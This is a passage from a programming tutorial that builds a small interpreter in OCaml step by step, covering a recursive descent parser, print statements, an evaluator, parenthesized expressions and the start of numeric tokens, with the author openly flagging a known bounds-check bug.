<li>we simply don't allow it (for example, we might not want something like <code>1 &lt; 2 &lt; 3</code> in our language, only <code>1 &lt; 2 and 2 &lt; 3</code>)</li>
<li>we evaluate it from left to right (<code>1 + 2 - 3</code> becomes <code>(1 + 2) - 3</code>)</li>
<li>we evaluate it from right to left (<code>1 + 2 - 3</code> becomes <code>1 + (2 - 3)</code>)</li>
</ul>
<p>It's worth taking a look at how &quot;finished&quot; programming languages (<a href="https://en.cppreference.com/cpp/language/operator_precedence">like C++</a>) document their operator precedence rules.</p>
<p><a name="4"></a></p>
<h3>The syntactic analyzer</h3>
<p>The syntactic analyzer (parser) takes the list of tokens and tries to interpret them according to its own rules, building a syntax tree in the process. Given the tokens our language currently supports, the nodes of this tree can be the following:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">type</span> expr =
  | <span class="hljs-type">EBool</span> <span class="hljs-keyword">of</span> <span class="hljs-built_in">bool</span>
  | <span class="hljs-type">EBoolNot</span> <span class="hljs-keyword">of</span> expr
  | <span class="hljs-type">EBoolAnd</span> <span class="hljs-keyword">of</span> expr * expr
  | <span class="hljs-type">EBoolOr</span> <span class="hljs-keyword">of</span> expr * expr
</code></pre>
<p><code>EBool</code> is similar to <code>TBool</code>, but the others have a bit more interesting. They can take parameters of type <code>expr</code>, which makes the type itself recursive. For example, we can write something like <code>EBoolOr(EBoolNot(EBool(true)), EBool(false))</code>. The <code>*</code> here doesn't mean multiplication, it's just a separator between parameters.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/ast1.png" width="281" height="196" alt="" title="" loading="lazy" />
</p>
<p class="image-caption">The above expression as a tree</p>

<p>We'll also have a helper function here as well to print the constructed expression:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> <span class="hljs-keyword">rec</span> show_expr e =
  <span class="hljs-keyword">match</span> e <span class="hljs-keyword">with</span>
  | <span class="hljs-type">EBool</span> b -&gt; <span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"EBool(%B)"</span> b
  | <span class="hljs-type">EBoolNot</span> e' -&gt; <span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"EBoolNot(%s)"</span> (show_expr e')
  | <span class="hljs-type">EBoolAnd</span> (l, r) -&gt; <span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"EBoolAnd(%s, %s)"</span> (show_expr l) (show_expr r)
  | <span class="hljs-type">EBoolOr</span> (l, r) -&gt; <span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"EBoolOr(%s, %s)"</span> (show_expr l) (show_expr r)
</code></pre>
<p>Since the type is recursive, we need to call <code>show_expr</code> again on parameters of type <code>expr</code>. The usual pattern matching and recursion. The <code>e'</code> in the <code>EBoolNot</code> line isn't anything special, the apostrophe is simply part of the variable name.</p>
<p>Similar to the lexical analyzer, the parser will also have an internal state and a few helper functions.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">exception</span> <span class="hljs-type">ParseError</span> <span class="hljs-keyword">of</span> <span class="hljs-built_in">string</span>

<span class="hljs-keyword">type</span> parser_state = {
  <span class="hljs-keyword">mutable</span> tokens : token <span class="hljs-built_in">list</span>;
}

<span class="hljs-keyword">let</span> make_parser tokens = { tokens }

<span class="hljs-keyword">let</span> peek ps =
  <span class="hljs-keyword">match</span> ps.tokens <span class="hljs-keyword">with</span>
  | t :: _ -&gt; t
  | <span class="hljs-literal">[]</span> -&gt; <span class="hljs-type">TEOF</span>

<span class="hljs-keyword">let</span> consume ps =
  <span class="hljs-keyword">match</span> ps.tokens <span class="hljs-keyword">with</span>
  | t :: rest -&gt; ps.tokens &lt;- rest; t
  | <span class="hljs-literal">[]</span> -&gt; <span class="hljs-type">TEOF</span>
</code></pre>
<p>For now, <code>parser_state</code> only contains our tokens. By the time we get here, we've lost track of line and column information, so we have to give up on user-friendly error messages from now on.</p>
<p><code>peek</code> returns the next token without removing it from the list. You can see how smart <code>match</code> can be here: the <code>t :: _</code> structure might look familiar from <code>tokenize</code> as the operator for prepending to a list, but in this context, <code>match</code> makes the value of <code>t</code> to the first element of the list, and we simply don't care about the rest (<code>_</code>).</p>
<p><code>consume</code> also returns the next token, but removes it from the list (the remainder becomes the new value of <code>ps.tokens</code>).</p>
<p>Now we can move on to the actual parsing. The operator precedence we want to achieve is:</p>
<ol>
<li>literal values (<code>parse_primary</code>)</li>
<li>the boolean <code>not</code> operator (<code>parse_bool_unary</code>)</li>
<li>the boolean <code>and</code> and <code>or</code> operators (<code>parse_bool_expr</code>)</li>
</ol>
<p>We'll start by parsing expressions... since we only have expressions. And only a boolean type, so in the end, we'll only be dealing with boolean expressions. In the code, we move from weaker operators down to stronger ones.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> <span class="hljs-keyword">rec</span> parse_expr ps =
  parse_bool_expr ps

<span class="hljs-keyword">and</span> parse_bool_expr ps =
  <span class="hljs-keyword">let</span> <span class="hljs-keyword">rec</span> loop left =
    <span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
    | <span class="hljs-type">TBoolAnd</span> -&gt;
      ignore (consume ps);
      <span class="hljs-keyword">let</span> right = parse_bool_unary ps <span class="hljs-keyword">in</span>
      loop (<span class="hljs-type">EBoolAnd</span> (left, right))
    | <span class="hljs-type">TBoolOr</span> -&gt;
      ignore (consume ps);
      <span class="hljs-keyword">let</span> right = parse_bool_unary ps <span class="hljs-keyword">in</span>
      loop (<span class="hljs-type">EBoolOr</span> (left, right))
    | _ -&gt; left
  <span class="hljs-keyword">in</span>
  loop (parse_bool_unary ps)
</code></pre>
<p><code>parse_expr</code> doesn't do much, it just felt wrong to start expression parsing with something as specific as <code>parse_bool_expr</code>.</p>
<p>The mutually recursive functions are chained together with <code>and</code>. Here we reuse the recursive <code>loop</code> pattern from <code>tokenize</code>, which receives the left operand of a binary operator from a lower level. If it finds an <code>and</code> or <code>or</code>, it builds the corresponding tree node and then recursively looks for more of them. If it doesn't, it returns what it has collected so far (or the original left operand).</p>
<p>It's worth noting that traditionally, among boolean operators, <code>and</code> has higher precedence than <code>or</code>. In our current implementation, however, they are on the same level and evaluated left to right.</p>
<p>Since we are the creators of this world, we can treat this either as intended behavior or as a bug. If you go with the latter, fixing it is a great exercise: you'd need to split <code>parse_bool_expr</code> into two levels: <code>parse_bool_or_expr</code>, which calls <code>parse_bool_and_expr</code>, which calls <code>parse_bool_unary</code>.</p>
<p>The next level is the unary operator (<code>not</code>):</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">and</span> parse_bool_unary ps =
  <span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
  | <span class="hljs-type">TBoolNot</span> -&gt;
    ignore (consume ps);
    <span class="hljs-type">EBoolNot</span> (parse_bool_unary ps)
  | _ -&gt; parse_primary ps
</code></pre>
<p>If we find a <code>not</code> token, we return the corresponding tree node (whose value can itself be another <code>not</code> or a simple value). Otherwise, we try to parse a simple value.</p>
<p>That leaves us with handling the simple values:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">and</span> parse_primary ps =
  <span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
  | <span class="hljs-type">TBool</span> b -&gt;
    ignore (consume ps);
    <span class="hljs-type">EBool</span> b
  | t -&gt; raise (<span class="hljs-type">ParseError</span> (<span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"Unexpected token '%s'"</span> (show_token t)))
</code></pre>
<p>If the next token is <code>true</code> or <code>false</code>, we extend the tree with an <code>EBool</code> node; otherwise, we throw an error because we didn't expect that token.</p>
<p>Finally, the function that ties everything together:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> parse_program tokens =
  <span class="hljs-keyword">let</span> ps = make_parser tokens <span class="hljs-keyword">in</span>
  <span class="hljs-keyword">let</span> expr = parse_expr ps <span class="hljs-keyword">in</span>
  <span class="hljs-keyword">let</span> t = peek ps <span class="hljs-keyword">in</span>
  <span class="hljs-keyword">if</span> t &lt;&gt; <span class="hljs-type">TEOF</span> <span class="hljs-keyword">then</span>
    raise (<span class="hljs-type">ParseError</span> (<span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"Unexpected token '%s'"</span> (show_token t)));
  expr
</code></pre>
<p>Since our language currently consists of a single expression, if there are tokens left after parsing the expression other than <code>TEOF</code> then something went wrong.</p>
<p>In our new &quot;main&quot; function, we build the tree and print it:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> <span class="hljs-literal">()</span> =
  <span class="hljs-keyword">let</span> src = {|not <span class="hljs-literal">true</span> <span class="hljs-keyword">or</span> <span class="hljs-literal">false</span> <span class="hljs-keyword">and</span> <span class="hljs-literal">true</span>|} <span class="hljs-keyword">in</span>
  <span class="hljs-keyword">try</span>
    <span class="hljs-keyword">let</span> tokens = tokenize src <span class="hljs-keyword">in</span>
    print_endline (<span class="hljs-type">String</span>.concat <span class="hljs-string">"; "</span> (<span class="hljs-type">List</span>.map show_token tokens));
    <span class="hljs-keyword">let</span> ast = parse_program tokens <span class="hljs-keyword">in</span>
    print_endline (show_expr ast)
  <span class="hljs-keyword">with</span>
  | <span class="hljs-type">LexError</span> e -&gt; print_endline (<span class="hljs-string">"Fatal error: "</span> ^ e)
  | <span class="hljs-type">ParseError</span> e -&gt; print_endline (<span class="hljs-string">"Parse error: "</span> ^ e)
</code></pre>
<p>And the output looks something like this:</p>
<pre class="console"><code>$ ocaml main.ml
TBoolNot; TBool(true); TBoolOr; TBool(false); TBoolAnd; TBool(true); TEOF
EBoolAnd(EBoolOr(EBoolNot(EBool(true)), EBool(false)), EBool(true))
</code></pre>
<p>All that recursion can shake one's world quite a bit, so it's worth taking a moment to think through how the tree is actually built.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/ast2.png" width="337" height="263" alt="" title="" loading="lazy" />
</p>

<ol>
<li><code>parse_bool_expr</code> calls <code>parse_bool_unary</code>, which finds a <code>TBoolNot</code> token and returns an <code>EBoolNot</code> node, whose value is computed by calling itself again</li>
<li>the next <code>TBool</code> token doesn't have a match in <code>parse_bool_unary</code>, so it flows down to <code>parse_primary</code>, where it becomes an <code>EBool</code>, and we jump back to <code>parse_bool_expr</code></li>
<li>in <code>parse_bool_expr</code>, we enter the <code>loop</code>, which finds a <code>TBoolOr</code> token and turns it into an <code>EBoolOr</code> node; its left operand is the previously obtained <code>EBoolNot(EBool(true))</code>, and to compute the right operand, it calls <code>parse_bool_unary</code></li>
<li><code>parse_bool_unary</code> doesn't see a unary operator, so it calls <code>parse_primary</code>, which returns an <code>EBool</code>, and we jump back into the <code>loop</code></li>
<li>our <code>EBoolOr</code> node is complete, and using it as the left operand, we call <code>loop</code> again</li>
<li>the <code>loop</code> finds a <code>TBoolAnd</code> token, which becomes an <code>EBoolAnd</code>, and it looks for a right operand via <code>parse_bool_unary</code></li>
<li><code>parse_bool_unary</code> doesn't see a unary operator, so it calls <code>parse_primary</code>, which returns an <code>EBool</code>, and we jump back into the <code>loop</code></li>
<li>the next token is <code>TEOF</code>, which matches nothing, so we exit both the <code>loop</code> and <code>parse_bool_expr</code></li>
<li><code>parse_program</code> sees <code>TEOF</code>, and that fills it with joy</li>
</ol>
<p>Of course, there are cases where <code>parse_program</code> is not quite so joyful. For example, let's try <code>false not and true</code>:</p>
<pre class="console"><code>$ ocaml main.ml
TBool(false); TBoolNot; TBoolAnd; TBool(true); TEOF
Parse error: Unexpected token 'TBoolNot'
</code></pre>
<p>The <a href="https://github.com/deadlime/the-recursive-descent/compare/operators..parser">changes in this step can be found here</a>.</p>
<p>At this point, our program consists of a single expression. We could evaluate it, but nothing actually makes use of the result. What we need next is a statement.</p>
<p><a name="5"></a></p>
<h3>Statements</h3>
<p>My first thought was that it would be nice if our program could actually produce some output. With that in mind, <code>print</code> seems like a solid choice for our first statement.</p>
<p>Once again, we get to make a bunch of decisions about syntax. I went with separating statements by newlines, without introducing a dedicated character for it (like the classic <code>;</code>). The statement itself will look like a function call: <code>print(expression)</code>.</p>
<p>First, we'll need a few new tokens:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">type</span> token =
  <span class="hljs-comment">(* ... *)</span>
  | <span class="hljs-type">TLeftParen</span>
  | <span class="hljs-type">TRightParen</span>
  | <span class="hljs-type">TNewLine</span>
  | <span class="hljs-type">TIdentifier</span> <span class="hljs-keyword">of</span> <span class="hljs-built_in">string</span>
  <span class="hljs-comment">(* ... *)</span>
</code></pre>
<p>From here on, the newline itself becomes a token, since it carries meaning in the language. <code>TIdentifier</code> will be a general identifier, which we'll use for <code>print</code>. The <code>(*</code> and <code>*)</code> mark comments in OCaml, so they're just standing in for previously defined parts to avoid repeating everything.</p>
<p>Naturally, we also need to update <code>show_token</code> with the new arrivals:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> show_token token =
  <span class="hljs-keyword">match</span> token <span class="hljs-keyword">with</span>
  <span class="hljs-comment">(* ... *)</span>
  | <span class="hljs-type">TLeftParen</span> -&gt; <span class="hljs-string">"TLeftParen"</span>
  | <span class="hljs-type">TRightParen</span> -&gt; <span class="hljs-string">"TRightParen"</span>
  | <span class="hljs-type">TNewLine</span> -&gt; <span class="hljs-string">"TNewLine"</span>
  | <span class="hljs-type">TIdentifier</span> s -&gt; <span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"TIdentifier(%s)"</span> s
  <span class="hljs-comment">(* ... *)</span>
</code></pre>
<p>So far, nothing too surprising. The <code>tokenize_name</code> part of our lexical analyzer gets a bit simpler, since from now on we accept all alphabetic identifiers at the lexical level:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> tokenize_name ls =
  <span class="hljs-comment">(* ... *)</span>
  <span class="hljs-keyword">match</span> name <span class="hljs-keyword">with</span>
  | <span class="hljs-string">"true"</span>  -&gt; <span class="hljs-type">TBool</span> <span class="hljs-literal">true</span>
  | <span class="hljs-string">"false"</span> -&gt; <span class="hljs-type">TBool</span> <span class="hljs-literal">false</span>
  | <span class="hljs-string">"and"</span>   -&gt; <span class="hljs-type">TBoolAnd</span>
  | <span class="hljs-string">"or"</span>    -&gt; <span class="hljs-type">TBoolOr</span>
  | <span class="hljs-string">"not"</span>   -&gt; <span class="hljs-type">TBoolNot</span>
  | _       -&gt; <span class="hljs-type">TIdentifier</span> name
</code></pre>
<p>Unknown identifiers will now throw errors during parsing instead.</p>
<p>We also need to tweak the pattern matching in <code>tokenize</code> a bit to support the new language elements:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">match</span> current_char ls <span class="hljs-keyword">with</span>
| <span class="hljs-string">' '</span> | <span class="hljs-string">'\t'</span> | <span class="hljs-string">'\r'</span> -&gt;
  step ls;
  loop tokens
| <span class="hljs-string">'\n'</span> -&gt;
  step_line ls;
  loop (<span class="hljs-type">TNewLine</span> :: tokens)
| <span class="hljs-string">'('</span> -&gt;
  step ls;
  loop (<span class="hljs-type">TLeftParen</span> :: tokens)
| <span class="hljs-string">')'</span> -&gt;
  step ls;
  loop (<span class="hljs-type">TRightParen</span> :: tokens)
| <span class="hljs-string">'a'</span>..<span class="hljs-string">'z'</span> -&gt;
  loop (tokenize_name ls :: tokens)
| c -&gt;
  raise (<span class="hljs-type">LexError</span> (<span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"Unexpected character '%c' on line %d col %d"</span> c ls.line ls.col))
</code></pre>
<p>For newline characters, we no longer just step forward, we also emit a token. We also handle opening and closing parentheses.</p>
<p>The syntax tree gets a new type for statements, with <code>print</code> as its first member:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">type</span> stmt =
  | <span class="hljs-type">SPrint</span> <span class="hljs-keyword">of</span> expr
</code></pre>
<p>For easier debugging, it's worth adding a corresponding <code>show_stmt</code> function as well:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> show_stmt s =
  <span class="hljs-keyword">match</span> s <span class="hljs-keyword">with</span>
  | <span class="hljs-type">SPrint</span> e -&gt; <span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"SPrint(%s)"</span> (show_expr e)
</code></pre>
<p>For parsing, we'll need two new helper functions:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> expect ps tok =
  <span class="hljs-keyword">let</span> t = consume ps <span class="hljs-keyword">in</span>
  <span class="hljs-keyword">if</span> t &lt;&gt; tok <span class="hljs-keyword">then</span>
    raise (<span class="hljs-type">ParseError</span> (<span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"Unexpected token '%s', expected '%s'"</span> (show_token t) (show_token tok)))

<span class="hljs-keyword">let</span> skip_newlines ps =
  <span class="hljs-keyword">while</span> peek ps = <span class="hljs-type">TNewLine</span> <span class="hljs-keyword">do</span> ignore (consume ps) <span class="hljs-keyword">done</span>
</code></pre>
<p><code>expect</code> throws an error if the next token isn't what we expect. With <code>skip_newlines</code>, we can ignore empty lines.</p>
<p>The good news is that we don't need to touch our <code>parse_expr</code> recursion chain at all. Instead, we start a new one:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> <span class="hljs-keyword">rec</span> parse_stmts ps =
  <span class="hljs-keyword">let</span> <span class="hljs-keyword">rec</span> loop stmts =
    skip_newlines ps;
    <span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
    | <span class="hljs-type">TEOF</span> -&gt; ignore (consume ps); stmts
    | _ -&gt; loop (parse_stmt ps :: stmts)
  <span class="hljs-keyword">in</span>

  <span class="hljs-type">List</span>.rev (loop <span class="hljs-literal">[]</span>)
</code></pre>
<p>The recursive structure might look familiar from <code>tokenize</code>: we ignore empty lines, exit recursion at the end of the file, otherwise process the next statement, and prepend it to the list. And at the end, we have to reverse the list here as well.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">and</span> parse_stmt ps =
  <span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
  | <span class="hljs-type">TIdentifier</span> <span class="hljs-string">"print"</span> -&gt;
    ignore (consume ps);
    expect ps <span class="hljs-type">TLeftParen</span>;
    <span class="hljs-keyword">let</span> expr = parse_expr ps <span class="hljs-keyword">in</span>
    expect ps <span class="hljs-type">TRightParen</span>;
    <span class="hljs-type">SPrint</span>(expr)
  | t -&gt; raise (<span class="hljs-type">ParseError</span> (<span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"Unexpected token '%s'"</span> (show_token t)))
</code></pre>
<p>Here's the corresponding <code>parse_stmt</code>, which handles the <code>print</code> identifier. After the identifier, we expect an opening parenthesis, followed by an expression, and then a closing parenthesis. We don't support any other statements yet, so everything else results in an error (this is the new home of the exception we removed from <code>tokenize_name</code>).</p>
<p>After this, <code>parse_program</code> needs a bit of simplification:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> parse_program tokens =
  <span class="hljs-keyword">let</span> ps = make_parser tokens <span class="hljs-keyword">in</span>
  parse_stmts ps
</code></pre>
<p>And our &quot;main&quot; function changes slightly as well:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> <span class="hljs-literal">()</span> =
  <span class="hljs-keyword">let</span> src = {|print(<span class="hljs-literal">false</span> <span class="hljs-keyword">or</span> <span class="hljs-literal">true</span>)

print(<span class="hljs-literal">false</span>)|} <span class="hljs-keyword">in</span>
  <span class="hljs-keyword">try</span>
    <span class="hljs-keyword">let</span> tokens = tokenize src <span class="hljs-keyword">in</span>
    print_endline (<span class="hljs-type">String</span>.concat <span class="hljs-string">"; "</span> (<span class="hljs-type">List</span>.map show_token tokens));
    <span class="hljs-keyword">let</span> stmts = parse_program tokens <span class="hljs-keyword">in</span>
    print_endline (<span class="hljs-type">String</span>.concat <span class="hljs-string">"\n"</span> (<span class="hljs-type">List</span>.map show_stmt stmts));
  <span class="hljs-keyword">with</span>
  | <span class="hljs-type">LexError</span> e -&gt; print_endline (<span class="hljs-string">"Fatal error: "</span> ^ e)
  | <span class="hljs-type">ParseError</span> e -&gt; print_endline (<span class="hljs-string">"Parse error: "</span> ^ e)
</code></pre>
<p>As output, we should now see something like this:</p>
<pre class="console"><code>$ ocaml main.ml
TIdentifier(print); TLeftParen; TBool(false); TBoolOr; TBool(true); TRightParen; TNewLine; TNewLine; TIdentifier(print); TLeftParen; TBool(false); TRightParen; TEOF
SPrint(EBoolOr(EBool(false), EBool(true)))
SPrint(EBool(false))
</code></pre>
<p>The <a href="https://github.com/deadlime/the-recursive-descent/compare/parser..statements">changes in this step can be found here</a>.</p>
<p>At this point, we no longer have just a single syntax tree, we have one per line. In a larger program, we're effectively growing an entire syntax forest.</p>
<p>We've now reached a stage where there's something meaningful to evaluate. If we were to run this program, it would produce visible results. So let's start evaluating.</p>
<p><a name="6"></a></p>
<h3>The evaluator</h3>
<p>The evaluator walks through the syntax trees, statement by statement, and executes them.</p>
<p>Surprisingly enough, this step also starts with defining a new type and writing its corresponding <code>show_</code> function:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">type</span> <span class="hljs-keyword">value</span> =
  | <span class="hljs-type">VBool</span> <span class="hljs-keyword">of</span> <span class="hljs-built_in">bool</span>

<span class="hljs-keyword">let</span> show_value v =
  <span class="hljs-keyword">match</span> v <span class="hljs-keyword">with</span>
  | <span class="hljs-type">VBool</span> b -&gt; <span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"%B"</span> b
</code></pre>
<p>Next up: evaluating expressions.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> <span class="hljs-keyword">rec</span> eval expr =
  <span class="hljs-keyword">match</span> expr <span class="hljs-keyword">with</span>
  | <span class="hljs-type">EBool</span> b -&gt; <span class="hljs-type">VBool</span> b
  | <span class="hljs-type">EBoolNot</span> e -&gt;
    (<span class="hljs-keyword">match</span> eval e <span class="hljs-keyword">with</span>
    | <span class="hljs-type">VBool</span> b -&gt; <span class="hljs-type">VBool</span> (not b))
  | <span class="hljs-type">EBoolAnd</span> (l, r) -&gt;
    (<span class="hljs-keyword">match</span> eval l, eval r <span class="hljs-keyword">with</span>
    | <span class="hljs-type">VBool</span> a, <span class="hljs-type">VBool</span> b -&gt; <span class="hljs-type">VBool</span> (a &amp;&amp; b))
  | <span class="hljs-type">EBoolOr</span> (l, r) -&gt;
    (<span class="hljs-keyword">match</span> eval l, eval r <span class="hljs-keyword">with</span>
    | <span class="hljs-type">VBool</span> a, <span class="hljs-type">VBool</span> b -&gt; <span class="hljs-type">VBool</span> (a || b))
</code></pre>
<p>It should come as no surprise that we're once again relying on pattern matching and recursion. Since we don't have anything beyond booleans yet, the pattern matching inside <code>eval</code> might look a bit odd, but it will come in handy later.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> exec stmt =
  <span class="hljs-keyword">match</span> stmt <span class="hljs-keyword">with</span>
  | <span class="hljs-type">SPrint</span> e -&gt;
    print_endline (show_value (eval e))
</code></pre>
<p>Inside <code>exec</code>, <code>print_endline</code> is a built-in function, and <code>show_value</code> finally graduates from a mere debugging tool to something we actually use during evaluation.</p>
<p>All that's left is to tweak the &quot;main&quot; function so it executes the statements:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> <span class="hljs-literal">()</span> =
  <span class="hljs-keyword">let</span> src = {|print(<span class="hljs-literal">false</span> <span class="hljs-keyword">or</span> not <span class="hljs-literal">true</span>)

print(not <span class="hljs-literal">false</span> <span class="hljs-keyword">and</span> <span class="hljs-literal">true</span>)|} <span class="hljs-keyword">in</span>
  <span class="hljs-keyword">try</span>
    <span class="hljs-keyword">let</span> tokens = tokenize src <span class="hljs-keyword">in</span>
    <span class="hljs-keyword">let</span> stmts = parse_program tokens <span class="hljs-keyword">in</span>
    <span class="hljs-type">List</span>.iter exec stmts
  <span class="hljs-keyword">with</span>
  | <span class="hljs-type">LexError</span> e -&gt; print_endline (<span class="hljs-string">"Fatal error: "</span> ^ e)
  | <span class="hljs-type">ParseError</span> e -&gt; print_endline (<span class="hljs-string">"Parse error: "</span> ^ e)
</code></pre>
<p>And the output should (hopefully) be exactly what we expect:</p>
<pre class="console"><code>$ ocaml main.ml
false
true
</code></pre>
<p>The <a href="https://github.com/deadlime/the-recursive-descent/compare/statements..evaluator">changes in this step can be found here</a>.</p>
<p>At this point, we essentially have a complete program that can evaluate boolean expressions and print their results. Still, it would be a shame to stop here.</p>
<p><a name="7"></a></p>
<h3>Parentheses</h3>
<p>Right now, if we try to run <code>print(not (false or not true))</code>, we get the following error:</p>
<pre class="console"><code>$ ocaml main.ml
Parse error: Unexpected token 'TLeftParen'
</code></pre>
<p>Unfortunately, the language's error handling doesn't help us understand exactly where the problem comes from, but we can reasonably suspect the <code>parse_primary</code> function. So if we want to support arbitrary parenthesized expressions, we can introduce a new function into the expression parsing chain:</p>
<ol>
<li>literal values (<code>parse_primary</code>)</li>
<li><strong>parentheses</strong> (<code>parse_bracketing</code>)</li>
<li>boolean <code>not</code> operator (<code>parse_bool_unary</code>)</li>
<li>boolean <code>and</code> and <code>or</code> operators (<code>parse_bool_expr</code>)</li>
</ol>
<pre><code class="hljs ocaml"><span class="hljs-keyword">and</span> parse_bracketing ps =
  <span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
  | <span class="hljs-type">TLeftParen</span> -&gt;
    ignore (consume ps);
    <span class="hljs-keyword">let</span> expr = parse_expr ps <span class="hljs-keyword">in</span>
    expect ps <span class="hljs-type">TRightParen</span>;
    expr
  | _ -&gt; parse_primary ps
</code></pre>
<p>We don't strictly need a new function here. We could just add another branch to the <code>parse_primary</code> pattern matching, but this feels like a cleaner way to express operator precedence.</p>
<p>After this change, we'll get the correct output:</p>
<pre class="console"><code>$ ocaml main.ml
true
</code></pre>
<p>The <a href="https://github.com/deadlime/the-recursive-descent/compare/evaluator..bracketing">changes in this step can be found here</a>.</p>
<p>It's honestly kind of impressive that we implemented full parenthesized expressions with less than ten lines of code. Time to take on something with a bit more structural ambition.</p>
<p><a name="8"></a></p>
<h3>Numerous options</h3>
<p>We now have a working pipeline that can interpret and execute raw text. Adding something like numbers is no longer particularly surprising from a code perspective. All layers need to be touched, but the changes are straightforward, even if they are relatively large. First, the tokens:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">type</span> token =
  <span class="hljs-comment">(* ... *)</span>
  | <span class="hljs-type">TNumber</span> <span class="hljs-keyword">of</span> <span class="hljs-built_in">float</span>
  | <span class="hljs-type">TLt</span>
  | <span class="hljs-type">TLtEq</span>
  | <span class="hljs-type">TGt</span>
  | <span class="hljs-type">TGtEq</span>
  | <span class="hljs-type">TEq</span>
  | <span class="hljs-type">TNotEq</span>
  | <span class="hljs-type">TPlus</span>
  | <span class="hljs-type">TMinus</span>
  | <span class="hljs-type">TAsterisk</span>
  | <span class="hljs-type">TSlash</span>
  | <span class="hljs-type">TPercent</span>
  <span class="hljs-comment">(* ... *)</span>
</code></pre>
<p>Quite a lot of new tokens: we're implementing comparison operators <code>&lt;</code>, <code>&lt;=</code>, <code>&gt;</code>, <code>&gt;=</code>, <code>==</code>, <code>&lt;&gt;</code>, as well as arithmetic operators <code>+</code>, <code>-</code>, <code>*</code>, <code>/</code>, <code>%</code>. Naturally, the <code>show_token</code> function also needs to be extended, but I'll leave that to the reader's imagination based on the previous expansions.</p>
<p>The lexer's pattern matching in the <code>tokenize</code> function is extended with the following:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">match</span> current_char ls <span class="hljs-keyword">with</span>
<span class="hljs-comment">(* ... *)</span>
| <span class="hljs-string">'+'</span> -&gt; step ls; loop (<span class="hljs-type">TPlus</span> :: tokens)
| <span class="hljs-string">'-'</span> -&gt; step ls; loop (<span class="hljs-type">TMinus</span> :: tokens)
| <span class="hljs-string">'*'</span> -&gt; step ls; loop (<span class="hljs-type">TAsterisk</span> :: tokens)
| <span class="hljs-string">'/'</span> -&gt; step ls; loop (<span class="hljs-type">TSlash</span> :: tokens)
| <span class="hljs-string">'%'</span> -&gt; step ls; loop (<span class="hljs-type">TPercent</span> :: tokens)
| <span class="hljs-string">'&lt;'</span> -&gt;
  step ls;
  (<span class="hljs-keyword">match</span> current_char ls <span class="hljs-keyword">with</span>
  | <span class="hljs-string">'='</span> -&gt; step ls; loop (<span class="hljs-type">TLtEq</span> :: tokens)
  | <span class="hljs-string">'&gt;'</span> -&gt; step ls; loop (<span class="hljs-type">TNotEq</span> :: tokens)
  | _   -&gt; loop (<span class="hljs-type">TLt</span> :: tokens))
| <span class="hljs-string">'&gt;'</span> -&gt;
  step ls;
  (<span class="hljs-keyword">match</span> current_char ls <span class="hljs-keyword">with</span>
  | <span class="hljs-string">'='</span> -&gt; step ls; loop (<span class="hljs-type">TGtEq</span> :: tokens)
  | _   -&gt; loop (<span class="hljs-type">TGt</span> :: tokens))
| <span class="hljs-string">'='</span> -&gt;
  step ls;
  (<span class="hljs-keyword">match</span> current_char ls <span class="hljs-keyword">with</span>
  | <span class="hljs-string">'='</span> -&gt; step ls; loop (<span class="hljs-type">TEq</span> :: tokens)
  | c   -&gt; raise (<span class="hljs-type">LexError</span> (<span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"Unexpected character '%c' on line %d col %d"</span> c ls.line ls.col)))
| <span class="hljs-string">'0'</span> .. <span class="hljs-string">'9'</span> -&gt;
  loop (tokenize_number ls :: tokens)
<span class="hljs-comment">(* ... *)</span>
</code></pre>
<p>A new thing here is that some operators require looking at two characters at once. Also, we don't yet have a standalone <code>=</code> operator, so we treat that as an error for now.</p>
<p>This also introduces a subtle bug: after <code>step ls</code>, the subsequent <code>current_char</code> call does not check whether we've reached the end of the source code. As a result, we might get an unexpected OCaml exception (<code>Invalid_argument &quot;index out of bounds&quot;.</code>) on otherwise invalid input like <code>print(1 &lt;</code>.</p>
